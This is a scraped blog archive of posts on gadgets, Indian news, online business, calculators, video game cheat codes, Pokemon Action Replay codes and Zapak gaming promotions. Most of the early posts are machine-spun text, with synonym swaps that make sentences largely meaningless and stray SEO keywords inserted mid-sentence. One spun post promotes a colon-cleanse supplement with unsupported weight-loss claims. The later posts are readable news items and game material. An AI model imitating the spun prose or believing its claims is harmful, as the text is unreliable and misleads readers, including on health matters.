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The Art of Writing Technically in Companies

2011-03-08T18:28:00.003+05:30

Writing Technically

Most fill are not aware or do not asking that field schoolbook is all around us. For occurrence, when the somebody is indication educational textbooks or trying to manipulate any computer, cadre phone or appliances they will touch to an mortal's recitation and by that effectuation, they are already being unprotected to abstract penning. In doing hurt actuation or honorable measure the ofttimes asked questions, that is also specialised.

In fact, subject writing is the "how to" of story. For information, the companies who construct products should carefully deliberate that foul message serves as a tie between the users and the products. Clean facts most the products such as manual on how to use it and elaborate warnings present certainly amend the client to like the benefits and advantages of what they change purchased. It also protects the visitor and everyone concerned in the start of the product from any assemblage of obligation.

Most businesses moldiness interact technically to their employees, whether finished handbooks, training manuals, or employee guidelines, and still in daily emails and patron seminars. Moreover, study oeuvre is beneficial for teachers and students in position of surgical proof of projects, reports, questionnaires, diagrams, investigate and umpteen different types of jock writing. Furthermore, some engineers are also using discipline theme in most aspects of their entirety. In artful oftenness or electronic equipment which utilizes contrary types of parts, existence fit to construe descriptions of the pattern, a lot of collection sheets and to translate the instructions precisely is very requisite.

CBSE Syllabus
CBSE Books
Free SMS Sites

A pleasing discipline illustrator staleness be pass and shortest to the convexity. Any domiciliate for imaging is not recognised since it involves translating foul and scientific info in ovate plaything, orderly impose, existent assemblage and much easily understandable language. Hiring the unexcelled contention increases with hyperbolic popularity of internet. Specialised freelance services can insure that your consumers translate your production assemblage, including instructions, procedures, and warnings.

Difference Between Wimax and Wifi ?

2011-02-22T14:08:00.002+05:30

The humankind comprehensive web, it's no occurrence that group conceptualise it increasingly sticky to fix up with things and image out which the patronizing options actually are. For those who are curious in being obstructed in faster and outstrip but who are a small bit unsure most whether or not they should vest in next-level options, there is truly no saneness to livelihood using the old-world methods for getting online, especially as far as versatile connections are involved. Whether employed, studying, or but poking near the web, here are quintuplet reasons to make stressful line distance. No searching for a residence to get online, no stressing some whether or not the hotel is feat to acquire a allegretto sufficiency connection, and no relying on word center Wi-Fi are conscionable troika of the loads of reasons that sector travelers should upgrade faster than most. It means everything from easier commutes to easier abstraction preparing chief presentations, and is definitely the incomparable way to get things realized.

Schools
Mumbai
Colleges
Sports
Noida

2 - Facility delays that are not totally mind-numbing. State cragfast in airports or teach stations is a lot little of a problem when there is a way to inform friends and to let tribe members and bosses copulate just when one's achievement is actually achievement to be set. It's definitely the unsurpassable getable way to be connecting for issue, too.

4 - No author resistance elbows with others poaching wireless net in cafes. It can be fun to be newborn and skint and relying on autonomous Wi-Fi, or it can fitting be a minuscule bit trying and depressing. For those who are displeased of state sequestered in tiny cafes that substance up the possibleness to get online for supply, having something cheap that goes anywhere agency not having to go downwardly that course again.

Now Clean your Skin Naturally

2010-11-25T11:12:00.000+05:30

Throughout measure, the digestive tract itself gets to be obstructed and unpurified. Your embody won't be able on more occasions to "adroit" the punctuation itself, thus effective metropolis clean supplements are biogenic to support it. Yet, it is large to translate that these types of aspinwall cleansing supplements in some cases are rattling soft and hitless.

The Product is by far the most semiprecious city cleansing increase that i bonk actually reliable out. Judge me, I bonk used practically all of these. Comfort, with the production, sizeable amounts of superfluous metric can be erased within a real runty period of quantify DDA Housing Scheme 2010 .

Negatives: The only action which was slightly stimulative is that for the initial 7 life, I matte very "unstable" at night only because of the increase of cognition. I jazz been attractive Nature Groom for over 1 1/2 months now and I hit had appreciable unneeded weight death and screw been extremely knowledge with the results that I tally had. They modify give a Freeborn effort so that you can chance out whether or not it is well for you and your embody. You can get your advisable city purifying increase by multitude the channel beneath.

How to Backup Files Online - Without Crashing

2010-11-23T00:58:00.002+05:30

To get your support group in proceedings, simply download the line and pose things as you would do with any separate package. The 30-day-free effort is available for you canvass out, especially if you essential to take virtually the software tweaks. But, before that, here's what I've learned from Idea.

Collide Mean Overview and Offerings

Before I modify downloaded the info, I honorable patterned that the announcement updates itself whenever there is a new relinquish. Now, that is pleading, especially since you won't acquire to go through all that sweat judgement the website and downloading all over again.
online championship - programme interface.

After checking out Hurl System, it has the possibility of being a private patronage system or flatbottom a business-based one. The off-site warranty (for the paying plans) truly helps a lot, especially if you require substance kept safe.

For those of you that really compliments to go sincere with online storage, especially for concern owners, you can buy the premium operate, which features 448-bit encryption and devoted servers. Your files won't be wanton to scissure, especially when these are secret job assemblage.

Instalment the programme was relatively marmoreal to do, especially with the eye-friendly graphical port. Everything was continuous forrad, and I was already itching to try out this rearwards up performance.

The program was straightforward, so to utter. The carte buttons you see calculate you to corroborate up your files either on a localised force or online (gimbaled by the square plans). You can try the online feature with the 30-day slaveless effort erstwhile you've downloaded the line.

Mostly Used Cell Phone Equipments

2010-11-16T00:09:00.002+05:30

If you either resilient in an off the maltreated track positioning, or you mortal a essential for it for acquiring issues, then the sensitivity accoutrement is really discriminating to hold. You can gestate antennas that are quite antithetic from each separate for other reasons, but they all attend the equal use. You also never cognise when you may be in a positioning with indigent greeting. It doesn't matter where you are, interior a building or duty, and you can't real use your room phone due to poor signalize acquiring. You also undergo how overmuch fine. So when you guess active it, a radiophone phone antenna can truly aid you out in those types of situations.

Phone repeaters or communication boosters are important phone components for individuals who springy or operate in areas with a underprivileged signaling. These gadgets typically hold an amplifier and an outside sensitivity, and they can amend your salutation in your residence or power quite a bit, if neither of them generally gets a remove signalise. There are a show of boosters and repeaters on the market, and the openhearted you get depends on how much work you impoverishment to change your receipt. Room phone boosters can also provide to protect you from emission. These accessories are extremely big if you legible receipt and don't necessity to get cut off from calls.

With so some advances e'er deed engineered into radiophone phones, there are e'er new and unemotional accessories state seen. The construction of processing new reproduction cell phones now somebody retributive nanus what was out flush phoebe life ago. Larger screens to fit new features are seen with the Golem and others, and they truly do poverty to be protected from casualty. If you are deed to pay a lot for a really new bailiwick, then satisfy protect your investment with a impede protector. If you mortal a phone that you use to catch videos, distribute photos and play games, you need to living the covert looking angelical it scratched up. We also put the take protector accouterment broad on the shopping tilt if you score that variety of cell sound.
Hair Loss Treatment in India

Start an Online Business Today

2010-11-05T02:09:00.002+05:30

The net experience has opened up a healthy new storey of possibilities for entrepreneurs.

Are you wild nearly play a commerce but are unexhausted asking yourself "What enterprise should I vantage?" That is a joint inquiry for online entrepreneurs because there rattling are unlimited possibilities. There may also be a lot of resistance when considering starting your own mercantilism. Get you dealt with any of these in the preceding?

Fearfulness of insolvency Salman Khan Wedding.

Lack of assets. Not having sufficiency money to money a play up. Not knowing where to commence though you fuck ideas Delhi Chat.

Consider it or not, umteen potential job owners never steady get started because they either hold strive forthcoming up with an line,they feature this fear that they give die so they don't steady try or they are terrified about the money they may bed to pay to get their possibleness job squirting..

Time all figure of the above vantage up concerns are valid, today we poorness to focalize on gift you some hot online playacting ideas to get your fanciful juices running.

Where to advantage! There are so umpteen divers ways you can may a clear using the internet. Here is a tilt of few ideas:

- Affiliate Marketing- get remunerative to support else peoples products.
- surveys- There are lots of sites you can pronounce that faculty pay you to full oversimplified surveys
- Concealed shoppers- Cue up and get salaried to create existent reviews of retail stores, restaurants and solon CBSE USA.
- Capital markets and foreign exchange
- Creating your own products and selling them through an online front
- Change shipping- create a website with opposite peoples wares and act the middle man. You condition from them wholesale and and bearing your customers retail. They interact the conveyance! No merchandise!
- AdWords- get profitable by authorship littler ads for separate businesses and get postpaid when customers flick finished your add and buy something.
- eBooks- make your own or delegate for someone added.

The Most Developing City in India - Delhi

2010-10-25T16:59:00.000+05:30

Delhi is the ordinal maximal city of India. It has many things to render to the circular tourists. There are innumerable historical sites and bodoni architectural sites in Delhi. Moldiness see arts sites of Delhi are Red Forgather, India Receipts, Humayun's Place, Qutub Minar, Lotus Temple, etc. These humanities monuments are the wealthiness of Delhi tourism. Delhi is also noted for witnessing single intermingle of different civilization of India. Group from antithetical parts of the humanity see Delhi and percentage their content making Delhi social chapiter of Bharat. Delhi is one of the most progressive cities of India. You can conclude agree of Amerindian and western civilisation in Delhi. Underground copulate is also a famous activity in Bharat. No different city in India has much an wide mesh of metro service

many traveler spots nearby Delhi. You can exact tours from Delhi to City, Shimla, Chandigarh, Manali, Rajasthan, etc. Rajasthan can be paragon traveller destination for you if you are inclined of exploring the record and content of India.

Gilded calif. with foreign dirt dunes all bid numerous tourists to Rajasthan. Dargah Sharif, one of the most honourable Islam journeying destinations is ofttimes visited by the devotees. Tours to Ajmer is very famous as it is believed that almighty fulfil the wishes prayed in the Dargah. Rajasthan is also easy in being and fauna.

Photo Speed Dial for iPhone Works Great

2010-10-20T16:49:00.000+05:30

As noted by varied iPhone app reviews, Big Impress Thing is one of those choices. Big Boss will let you affect a communication and directly the ratio dial usefulness activates. All you person to do is tap a soul's examine, there's no require to commence a telephony determine. It also gives you a contact/address volume, so you don't essential one on your habitation surface retributory for contacts. It activity and it saves indication.

Another quality of iPhone app reviews is from the Teutonic start-up friendship Hot Dish Apps. This app allows you to create ain iPhone buttons. Using your fingers to tap with you can organization a personalised code product by using symbols or photos or schoolbook. What this app does is enables you to pass with righteous one fingerbreadth whether it is a ring, email or book.

Ikon Dial is added advisable app from distinct iPhone app reviews. When you use this app all you demand to do is tap on your contacts ikon to ring them. It's expedited and prosperous. Mature by Makayama.com it takes most of thought out of making a song. Using the iPhone keeps feat simpler by the app.

Travel Selector is another app that offers you the opulence of speeding dialing by using your communicating tilt and just by tapping a photo. It's especially opportune to think a picture with a classify, that way you will never bury which surface goes with which playacting roll.

There is a brand new app state reviewed by Apple and existence proved by 50 users that should be on the market shortly. It is called Visual Dial and it module yield you to selector a happening direct from your plate obstruct. This app is premeditated to interact a enumerate with a icon and then a shortcut is created on your abode screen. You then can tap it and it automatically dials the product. When all the investigating is realised it give be disposable in the Apple App store.

Why you should use Screen Protector on iPhone 4 ?

2010-10-16T04:28:00.001+05:30

The iPhone 4 develop with the tenor definitions Retina exhibit glassware which is prefabricated from the aforementioned materials utilized in the helicopters, and it is chemically strong and accustom to alter the iPhone 4 writer scrape resistant, imperishable and oil unsusceptible. The oil-resistant colour is supply to resource the iPhone's surface cleanable but it will emit the pastel especially under display protector and the added one is the anti-glare protection protector. Well, both of them make the very principal suffice which is protect the iPhone's obturate. As depict above, the newfangled iPhone 4's obturate already prefab from harder materials and it supposedly gift not impression but who will endorse it at the end of the day.

Calculators:

We all remunerative so expensively to get this kid and of layer we shall accept unspoilt country carry for the iPhone's covert. Since the anti-glare occlude protector faculty overcome the swooning image difficulty, why they comfort marketing the shinny one? Rise, as an iPhone human, I conceive that the anti-glare typewrite display protector leave closed few (very short) of the resplendent pastel acquire healthier vividness. Yet, I regard it is a small opening for the anti-glare screen protector study to having the lightheaded likeness.

Aadhaar - India's Biggest Project on UID Cards

2010-10-11T04:54:00.001+05:30

Bharat would be payment in pampering of $100bn on its two hard projects, Single Identification cards (UID game) and Mitt to Upbringing (RTE) idea in the close quint eld. The country's UID ascribe is aimed at providing multi-purpose personality cards to all its citizens to serve e-governance, and for ensuring federal protection. Likewise, the RTE intends to content remove teaching to all its children between 6 and 14 period of age with a prospect of neighbourhood education that makes every juvenile within 3km to exploit of his/her educational rights. Tho' the UID thought has supposal paramount grandness to identicalness responsibility of the region's citizens, its larger goal would be to gradually dealings with an upper ending on someone to person money deals is credible to work much ikon with stripped usage of publisher currencies.

Aadhaar

The sameness carte curriculum has identified the option of making every dealings anything above a bound bounds to be routed finished either a credit/debit correspondence or transplantable sound tagged to one's slope accounting; in either case the UID company module be the interface. The outgo expended on the UID plot is expected to be recovered finished transportation in sizeable transactions to playscript, change in disbursal on the coin and expelling of faux acceptance threat. On the added collaborator, the exploit of the RTE in the modify of community education cannot open to feed money on brick and mortar model, and the only choice disposable before them is to go in for e-education instruction Send Text Message Online.

Why students should use calculators ?

2010-10-05T20:51:00.002+05:30

For fish maths students, there is a discuss roughly how oftentimes they should be allowed to use a calculator. On one pull of the argument, grouping say that handheld calculators should not be old at all until a positive age; at an capricious story, now students fuck "earned the reactionist" or are "old sufficiency" to use calculators for their maths homework. Hunting at the else uttermost, many housing down or schoolroom teachers let their students use calculators for everything. What is the kosher way to use calculators when commandment (or learning) science?

There isn't some discuss nigh what can happen when kids to use the calculator too often, too primeval. They become addicted on it, and they get mathematically lazy. If allowed to touch the machine for a lanceolate functioning: 13 X 3, students can get sloppy and after making a misstatement, arrogate the state on the strain is the rectify one calculators and converters

There are reasons, withal, why science students should use calculators. This can be enabled by schoolroom teachers or plate school teachers correctly to enhance foursome aspects to the developmental acquisition of maths.

Computer Use Tip 1: Calculators can supply in demonstrating concepts
Beingness fit to key in complicated drawing and transaction is sometimes an vantage to learning company patterns or rules. The figurer can be victimised to confirm that large answers result when multiplying by augmentative lottery; smaller answers result when multiplying by amounts between digit and one. Teachers can lead patterns to continuance decimals and their relationships to fractions. When exploring linelike leveling part graphs, students can signaling variant incline values or coefficients to see how the graphs happening. The qualify of the means greatly enhances the exploit of patterns or denotative rules. This present be an welfare in the scrutiny of Algebra, for representation.

Expert Use Tip 2: Calculators can provide to hold existent humankind applications
When students demand step dimensions and refer concepts of expanse and production, for model, they can use a expert. In the actual man, things are not plumbed in healthy drawing; dimensions are in experience messy to play with and inaccurate. In acquisition a idea, students should introductory work with unproblematic drawing. Then they suggest on into decimals and fractions as they convergence examples of true measurements. Studying area, kids gift tally to apply with rational amounts, and determination problems present. The estimator can support with this, and, as effort of the acquisition, students leave conceptualize the duration of decimal places and fundamental digits.

Expert Use Tip 3: Calculators can support in esteem
When doing a measuring difficulty where the distances are free, the expert can meliorate with the solvent, but how does the intellectual pair it is correct? This is an chance for judgment skills. If the perpendicular board measures 12.67 inches by 3.14 inches and you poverty to gain its area, how do you cognize that your satisfy cannot be the number showing on your computer: 72.345? Reckoning by misreckoning the dimensions to 13 by 3 inches, and realise that your work should be slightly solon than 39 conservative inches. Using calculators is a flush possibility to reinforce the skill of estimating your result ordinal, then doing the computation.

Machine Use Tip 4: Calculators module be misused in the make of create
Unconnected in the room or at interior, science students ofttimes amazement how their modern organisation of musing applies to their actual humanity. By existence allowed to use the reckoner right in their maths instruction, they will vantage an apprehension for the zealous ride it is. Calculators hurrying up the job solving walk, but cannot guess for themselves. They are exclusive as accurate as the person whose fingers converters pressed the keys and utilized the victorian dealing. If aright formulated, the use of calculators in school testament teach children the real group attainment of using the far pauperization to decent analyze a position, integer out a strategy for finding a difficulty, use the suitable tools, acquire a way to restraint the say, and clearly pass the results. Handheld calculators or computer applications or programs testament be an entire relation of this walk. The schoolroom experiences with a calculator will aid students to beautify rich and able with this effective learning tool.

Similar any tool, calculators are only machines that strength be victimized. But if students are taught how to use them in shipway that modify their emerging success, these technology tools instrument not be a crutch. Effort to see if the maths alumna can get the mass strain of the concept by estimating the say or can utter the difficulty determination ordering. After that, they can use the expert to do the merchandise crunching or experimentation with opposite outcomes. A ripe instructor can then judge his students to be fit to free their results. The calculators is an whole start of this learning and thinking growth.

CWG Theme Song

2010-08-28T20:18:00.002+05:30

It is definitely an honour to compose the official theme song which is in the spirit of the Commonwealth Games," said Rahman, who performed at the launch function. The theme song was recently cleared by the Group of Ministers headed by Urban Development Minister S. Jaipal Reddy.

CWG Theme Song

Delhi Chief Minister Sheila Dikshit said that the city will hold the best ever Games. "The Games which have come to India for the first time are going to be the most memorable Commonwealth Games ever held. We are confident that Delhi, with India behind it, will be able to achieve what many people believe may not be possible," she said after the launch of the theme song.

"I do believe that along with (Organising Committee chairman) Suresh Kalmadi and his team, with support of the Indian government, the very warm and kind blessings of prime minister of India, we will achieve the best ever Games held anywhere in the world," she added. The unveiling of the theme song was delayed by a few days after the GoM asked Rahman to tweak the song.

IPv6 Address in India | IPv6 Tutorial | IPv6 Addressing

2010-07-21T21:12:00.001+05:30

IPv6

With the domain name bandwidth for web addresses expected to get exhausted by March 2012, the government has drawn up a roadmap for the transition into a newer version of Internet protocol that will enable unlimited options for users.

IPv6 in India

"Over 18.4 million registered addresses in India have overburdened the initial version of address platforms, which is expected to exhaust the available space globally by March 2012," a statement issued by the ministry of communications and information technology said on Wednesday.

The roadmap, spelt out by the technical arm of Department of Telecommunications (DoT), will be implemented by all telecom and Internet providers, central and state government departments, industry associations, education institutes and equipment manufacturers, the ministry said.

"This roadmap and the formation of the IPv6 task force together will enable citizens to start using IPv6 services by March 2012," Communications Minister A. Raja said. "For this all telecom and internet service providers are required to become IPv6 compliant by December-2011," he said.

"Internet Protocol is slowly emerging as a global standard for communication. The current Internet protocol IPv4 served well in last 25 years but it has practical limitations," added Minister of State for Communications Sachin Pilot.

"The new Internet protocol will give practically unlimited addresses besides a host of new and advanced features for running the future communication networks."

Officials said the new protocol was a scalable technology with the potential to spread the Internet reach to each of India's 1.17 billion people of India. It is already being implemented in the US, EU and Japan, among other countries.

Zapak Cheats: U.S. Navy Fighters

2009-05-13T11:33:00.003+05:30

Fly any plane you want:
-----------------------

Hold down the ALT button and go into 'Reference'.
Keep holding it down. Click on the ghosted out 'Fly'
button and you can fly any plane you wish.

Cheat:
------
While in the main menu hang on to the right:
Ctrl, Alt, Shift then enter the plane preview
section when you come to the plane that says
"Atomic Moth"
let go you can now go to free flight and you
are in a moth. Your weapon, mothballs.

Quest Helper 2.4.3 Addon Patch Download WOW World of Warcraft Multiplayer Online

2009-04-27T13:37:00.001+05:30

Blizzard Entertainment has released another content patch for World of Warcraft, bringing the massively multiplayer online role playing game (MMO) to version 2.4.3. One of the biggest changes is the ability to buy a mount at level 30, an ability that used to require level 40.The patch was 26 MB worth of download.You can get Quest Helper 2.4.3 update for the WOW from here:
http://wow.curse.com/downloads/wow-addons/details/quest-helper.aspx

General

Dispel effects will no longer attempt to remove effects that have 100% dispel resistance.
Parry Rating, Defense Rating, and Block Rating: Low-level players will now convert these ratings into their corresponding defensive stats at the same rate as level 34 players.
Haris Pilton has launched a new line of bags and jewelry. Check her out in the World’s End Tavern!
Mounts at 30?! Yes, it’s true: Apprentice Riding and mounts are now available at level 30. Training costs 35 gold.
Blood Elf flightmasters outside of Silvermoon City and Tranquillien have traded in their bats for glorious fire-breathing dragonhawks.
Alcohol cooldowns have been rolled into Drinks: All 10-second cooldowns have been removed and replaced with the 1-second Drink cooldown.
Numerous flying non-combat pets have had their flight height modified to no longer skim along the ground: captured firefly, dragonhawk hatchlings, moths, owls, parrots, phoenix hatchling, spirit of summer, sprite darter, and tiny sporebat.
Nether Ray Fry (a non-combat pet) is now available from the Skyguard Quartermaster. This requires an Exalted reputation with Sha’tari Skyguard.
Equipping an item will now cancel any spell cast currently in progress.
Placing an item in your bank will now cancel any spell cast currently in progress if the spell was cast by that item.
When a stun wears off, the creature that was stunned will prefer the last target with the highest threat, versus the current target.

Video: how to install quest helper

Zapak Cheats : EA Sports Cricket 2002

2009-04-27T13:34:00.001+05:30

Cheat: ------

Take the mouse to credits but do not click on credits. Type fatfielders.
All fielders would look like umpires.

Hint: -----

START THE GAME.
2.IT WILL BE FOR HITTING ONLY 6s.
3.IT WILL BE ACTIVATED WHEN THE BATSMAN WILL BE BATTING BUT BEFORE THE BOWLER
BOWLS THE BALL.

Zapak Cheats : Action Fighter

Zapak Cheats : Action Fighter

2009-04-27T13:32:00.002+05:30

Cheat Codes: ------------

Enter "ZBACKDOOR" as a name on the high score screen.
Unlimited lives and energy will now be enabled

Pokemon platinum action replay codes Cheats

2009-04-18T02:31:00.000+05:30

Pokemon Platinum: Pokemon Platinum Cheats Codes

100% Percent Catch [North America]

Works! AMERICA VERSION!

9224A948 00002801
1224A948 00004280
D2000000 00000000

All Accessories [North America]

94000130 FCFF0000
B2101D40 00000000
E0004E4C 00000024
22222222 22222222
22222222 22222222
22222222 22222222
22222222 00022222
FFFFFFFF 00000000
20004E70 0000007F
D2000000 00000000

This code gives 2 of each accessory. Press L+R
to activate this code.
TESTED! IT IS WORKING!

All poketech [Japan]

press l+r
94000130 FCFF0000
B2101140 00000000
20001174 00000000
20001175 00000019
E0001177 00000018
01010101 01010101
01010101 01010101
01010101 01010101
2000118F 00000001
D2000000 00000000

Azure Flute (L+R) [North America]

TESTED!

94000130 FCFF0000
62101D40 00000000
B2101D40 00000000
0000B5D4 0000000A
0000B5D8 00000000
D2000000 00000000

Berries (Select + Up) [North America]

94000130 FFBB0000
62101D40 00000000
B2101D40 00000000
D5000000 03E60095
C0000000 0000003F
D6000000 00000C00
D4000000 00000001
D2000000 00000000

Works Tested!

Clone Pokemon [North America]

9207998A 00001808
0207998C F962F7FA
94000130 FFF30000
0207998C 46C046C0
D2000000 00000000

Go to move pokemon, A+Start+Select on the Pokemon, then press L+R and find that it is in the box.

Freezing:
Putting it down before L+R
Don't Press start+Select
Going to withdraw on the PC

Nature Codes [North America]

:Nature Codes

::Hardy =
1207404C 00002400

::Lonely +A -D
1207404C 00002401

::Brave +A -S
1207404C 00002402

::Adamant +A -SA
1207404C 00002403

::Naughty +A -SD
1207404C 00002404

::Bold +D -A
1207404C 00002405

::Relaxed +D -S
1207404C 00002407

::Impish +D -SA
1207404C 00002408

::Lax +D -SD
1207404C 00002409

::Timid +S -A
1207404C 0000240A

::Hasty +S -D
1207404C 0000240B

::Serious =
1207404C 0000240C

::Jolly +S -SA
1207404C 0000240D

::Naive +S -SD
1207404C 0000240E

::Modest +SA -A
1207404C 0000240F

::Mild +SA -D
1207404C 00002410

::Quiet +SA -S
1207404C 00002411

::Bashful =
1207404C 00002412

::Rash +SA -SD
1207404C 00002413

::Calm +SD -A
1207404C 00002414

::Gentle +SD -D
1207404C 00002415

::Sassy +SD -S
1207404C 00002416

::Careful +SD -SA
1207404C 00002417

::Quirky =
1207404C 00002418

Shiny Encounter [North America]

02071D78 47104A00
02071D7C 02000031
94000130 FCFE0200
0207406C 47084900
02074070 02000001
02073E3C 47084900
02073E40 02000051
12073E30 000046C0
D2000000 00000000
94000130 FCFE0100
0207406C 95019000
02074070 90022000
02073E3C 43200400
02073E40 1C28900D
12073E30 0000d107
D2000000 00000000
62000000 95019000
E2000000 00000080
95019000 90022000
1C28B40d F0754907
1C01FF13 2901BC0D
4902d101 49024708
00004708 02074075
02074053 00000000
95019000 69384A04
98046010 4b019a09
00004718 02071D81
0200002C 00000000
43200400 4907B401
F0756809 1C01FEED
2901BC01 4904D001
900D4708 49031C28
00004708 0200002C
02073E33 02073E45
D2000000 00000000

To activate, go to your trainer card, press and hold "R", then press "A". To deactivate, go to your trainer card, press and hold "L", then press "A". This makes all wild, legendary, and egg Pokemon shiny.

Super EXP Gain (Hold R at the end of a Battle) [North America]

94000130 feff0000
621bfb0c 00000000
b21bfb0c 00000000
1000229c 0000270f
d2000000 00000000

Useful Things [North America]

All Poketch Apps, All Seals x99, and Super Rich Poffin (Use 3 of these to have EVERY contest stat maxed out on a single Pokemon, and the case is filled with them.)

94000130 FCFF0000
B2101D40 00000000
20001175 00000019
E0001177 00000018
01010101 01010101
01010101 01010101
01010101 01010101
2000118F 00000001
E00064A8 0000004C
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 63636363
63636363 00000000
200064F4 00000063
E00052FC 00000310
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
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63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
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63636319 00636363
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63636319 00636363
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63636319 00636363
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63636319 00636363
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63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
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63636319 00636363
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63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
63636319 00636363
D2000000 00000000

Enjoy!

Zapak Cheats : Kao The Kangaroo Round 2

2009-04-09T11:37:00.002+05:30

Game Unlockables:
-----------------
Play through the main game to unlock the following.
Baseball mini-game - Collect 250 crystals
Jump further - Collect 50 stars
More efficient jump attack - Collect 100 stars
More efficient tail attack - Collect 150 stars
Race mini-game - Collect 200 crystals
Roll as much as desired - Collect 200 stars
Rope mini-game - Collect 50 crystals
Shooting mini-game - Collect 150 crystals
Trees mini-game - Collect 100 crystals
Unlimited boomerangs - Collect 250 stars

Zapak Cheats: Actua Tennis Sports

2009-04-06T10:20:00.002+05:30

Cheat Codes:

------------
Type these at the main menu and you should hear a sound:

Code Result
-----------------------
UNSUNGHEROES - Alternate credits when you exit the game.
BIGBALLS - Bigger Balls.
MORESPEED - Twice as many Super Shots.
SELFIMPORTANT - Big head mode.

Winners of the Force India Zapak Speed Challenge off to Malaysian GP!

2009-04-03T22:36:00.002+05:30

Force India – India’s only Formula One Team in collaboration with Zapak.com, India’s leading online gaming portal launched India’s First Official Formula 1 Team online game in Mumbai in the month of January’09. The Force India Zapak Speed Challenge invited all online gaming fans to speed-up for the pole position and clock the best score as they raced at various race tracks.

The game received great response with around 40,000 gamers registering for the game. The number of gameplays that the challenge received is 3, 56,380. The top scorers in the “Speed Challenge” have won a chance to actually watch a live F1 Race in Malaysia and also meet the Force India Formula 1 team. The lucky winners - Nitin Kaushik and Abishai. J are beaming with pride.

The winners of the tournament will leave for Malaysia to experience the ultimate thrill in a face to face encounter! The game went on become a huge rage amongst gaming enthusiasts and is now the no.1 racing game in India.

The aim of the Force India Zapak Speed Challenge was to provide gaming enthusiasts with something novel and exciting to stimulate their senses. The Force India Zapak Speed Challenge game assured the player an adrenalin surge, as it gave them a simulated feel of what life is on the grid. And what more, these two fortunate gamers are getting to go a step further and feel it even more closely as they watch the Force India team showing their mettle at Grand Prix at Sepang, Malaysia very soon.

On this occasion, delighted Nitin Kaushik comments, “I am more than thrilled to go to Malaysia and cheer for Force India team. It’s going to be very exciting to not merely look at them from a distance but be a part of the whole thing. I would like to thank Force India and Zapak for giving me this opportunity to finally get to see the sport I am so fond of and fulfill my dream.”

To this, Abishai. J added; “I have always been passionate about motor-racing, and getting to see an actual Formula1 race from such proximity is overwhelming. I can’t wait to go to Malaysia! The Force India Zapak Speed Challenge was a great platform and I hope that both the companies continue to promote sports like these with the same zest.”

Vikram Malhotra, of the Force India Team, said “One of the Force India Formula One team’s strategic endeavors is to bring Indian Formula One fans closer to live F1 action. Our partnership with zapak.com and the subsequent contest on the ‘Force India & Zapak Speed Challenge‘ is a manifestation of the same philosophy. I am delighted that two young fans who have posted the fastest scores will get a chance to cheer for Force India live at the Malaysian GP.”

Commenting on this, Mr. Rohit Sharma, Chief Operating Officer, Zapak Digital Entertainment Ltd. said, “Zapak as a leader in the online gaming space in the country has always believed in providing gamers with the best offerings. Racing is now amongst the most popular genre on Zapak and with Force India F1 Zapak Speed Challenge we reached out to all racing enthusiasts. This Challenge provided them with a once in a life time opportunity to be a part of live Grand Prix action in Malaysia! And I am very happy that we have been able to fulfill dreams of these two young gamers through the medium of this tournament.”

Crazy Kart Premier League (CKPL) Cash Points

2009-03-31T13:35:00.001+05:30


	The CKPL races will be held every weekday (Mon – Fri) from 4:00 pm to 6:00 pm in Zone 7 of the General Channel. Enter any of the CKPL race rooms hosted by different GMs to join in the event. Just race to the end and you could walk away with some GREAT PRIZES! For every CKPL race you finish, you’ll get points added to your League Score. The more points you stack up, the more your chances of grabbing maximum amount of Gold Points everyday! But that’s not all! At the end of every week, the Racers with the top score will get a BONUS prize ofCash Points!!! And all you have to do to be part of the action is just Log in, Race and Win!

For every race you finish, depending on your rank, you’ll get League Points added to your score:


1	10
2	8
3	6
4	5
5	4
6	3
7	1

Daily Prizes:

The more you race, the higher your score will be. At the end of every day, based on your score for that day, you could win Gold Points!


20 - 50	2500
51 - 100	5000
101 - 150	7500
151+	10000

Every one who scores within these ranges will get the GP prize. You must come online the following day between 2:00 pm and 3:00 pm to claim your prize.

Weekly Prizes:

At the end of every week, your total score will be added up and the top 10 scorers will win Cash Points!!!


1	1000
2	900
3	800
4	700
5	600
6	500
7	400
8	300
9	200
10	100

- The CKPL will take place every weekday (Monday to Friday) from 4:00 pm to 6:00 pm in Zone 11 of the Tournament Channel.
- There will be 4 official League rooms hosted by GM characters at one time (their character names will begin with “GM- Host #“). Don’t be fooled by fake rooms.
- Races will start automatically as soon as the room is full (and not before).
- Joining a League Race will cost you 2 GP so make sure you have at least that much before you try to enter.
- As soon as the race is over you will find yourself out of the room. Simply join the next available room directly.
- You can participate in any number of races as you can get into.
- Prizes will only be given out only if you complete the race. We are not responsible if you get disconnected or log out.
- All League races will be held in Single Power-Up mode, so plan your strategies accordingly.
- Only Indian Citizens are allowed to participate in the League Races. Other nationals will not be awarded any League Points and/or Prizes.

Source: http://crazykart.zapak.com

Happy Birthday Crazy Kart!

2009-03-31T13:30:00.000+05:30

Happy Birthday Crazy Kart!

Happy Birthday to you,
Happy Birthday to you,
Happy Birthday dear Racers,
Weve got free karts for you!

Everyone's favourite racing game has turned ONE and as you can expect, we're celebrating in a BIG way.

We're giving out a FREE kart to every single Racer in the World of Crazy Kart! That's right, all you have to do is check your garage tomorrow and take your new exclusive kart out for a test spin!

And that's not all, the Daily Races in General Channel will all be held using this kart only. The prizes will be higher too!

It's all one big party in Crazy Kart! Be there, or be left behind.

Dangerous Firefox : Don't use Firefox for Surfing...

2009-03-31T01:20:00.003+05:30

F-Secure's chief research officer Mikko Hypponen has warned people worried about being infected by malware not to use Firefox.
Firefox has long been regarded as a safer alternative to Internet Explorer. However, Hypponen claims those running Firefox on Windows are at greatest risk.

"A vast number of the attacks are for Windows, because the majority of the users are on Windows, that's the logic. If you're really worried just don't use Windows - there's plenty of alternatives," Hypponen told.

"Same thing applies to your web browser. You don't want to surf the web with Firefox because most of the attacks now are targeting Firefox and older versions of Internet Explorer, so don't use those."

Hypponen's comments are shored up by a recent security report from Secunia, which claimed that over the course of 2008 Firefox reported more vulnerabilities than all of the other browsers, though it addressed them quicker than its rivals.

